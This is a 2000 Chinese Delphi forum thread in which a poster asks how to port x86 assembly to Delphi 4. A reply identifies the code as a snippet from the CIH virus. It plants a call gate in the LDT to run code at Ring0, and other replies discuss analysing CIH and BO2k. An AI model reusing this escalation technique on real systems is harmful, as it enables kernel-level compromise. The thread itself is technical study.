汇编到delphi4 --20分!进来看看,非常有用!!!(20分)

  • 主题发起人 主题发起人 sungw
  • 开始时间 开始时间
S

sungw

Unregistered / Unconfirmed
GUEST, unregistred user!
;

主  题:DElphi4中的汇编问题,50分,答案2句话,快来拿分!!
作  者:sungw
所属论坛:Delphi
问题点数:20
回复次数:0
人气指数:500
发表时间:2000-8-18 17:56:00

汇编:

.data

GDTR df 0


CallPtr dd 00h
dw 0Fh

OurGate dw 0 ; Offset low-order word
dw 028h ; Segment selector
dw 0EC00h ;
dw 0 ; Offset high-order word

.code

Start:
mov eax, offset Ring0Proc
mov [OurGate], ax ; Put the offset words
shr eax, 16 ; into our descriptor
mov [OurGate+6], ax

xor eax, eax

sgdt fword ptr GDTR
mov ebx, dword ptr [GDTR+2] ; load GDT Base Address
sldt ax
add ebx, eax ; Address of the LDT descriptor in
ebx
mov al, [ebx+4] ; Load the base address
mov ah, [ebx+7] ; of the LDT itself into
shl eax, 16 ; eax, refer to your pmode
mov ax, [ebx+2] ; manual for details

add eax, 8 ; Skip NULL Descriptor

mov edi, eax
mov esi, offset OurGate
movsd ; Move our custom callgate
movsd ; into the LDT

call fword ptr [CallPtr] ; Execute the Ring0 Procedure

xor eax, eax ; Clean up the LDT
sub edi, 8
stosd
stosd

call ExitProcess, LARGE -1

Ring0Proc PROC
mov eax, CR0
retf
Ring0Proc ENDP

end Start




应该怎样转化成delphi4?


有人参与讨论这个问题,请用EMail通知我 sungw@yeah.net










 
我试一试
var
GDTR: Word;
CallPtr: DWord=$000F;
OurGate: DWord;
 
jams,
ourgate初始化的值?
mov [ourgate],ax 编译通不过!!
 
变量可以直接引用
 
IIE,JAMES
加油啊!
这可是CIH中的一小段,能搞好,水平肯定有提高!
大虾们,发言吧,20分不多,可含金量高啊!!!
 
噢,原来如此!待我细细品来
我到是知道GDT和LDT的含义(从日语一杂志上得到的),虽说分析病毒就如同蚂蚁啃骨头,
无味得很,但还是啃下去!
这位仁兄, 不知你对CIH分析的如何?可否进行一下交流,如CIH的感染机制,传播机制等.
我想在手下的工作稍做轻松时,直奔BO2k,这样可解决一些在网络上的一些谜团!也望在座
的诸位分析过病毒/HC的同仁交流一番技术问题.
 
>>mov [ourgate],ax 编译通不过!!
mov word ptr [ourgate],ax
 
可能会太烦+太繁
 
大家继续讨论,让俺听听
 
附加功能 将问题提前
 
sungw:如果还想接着讨论请定期提前自己的帖子,如果不想继续讨论请结束帖子。
 
多人接受答案了。
 
后退
顶部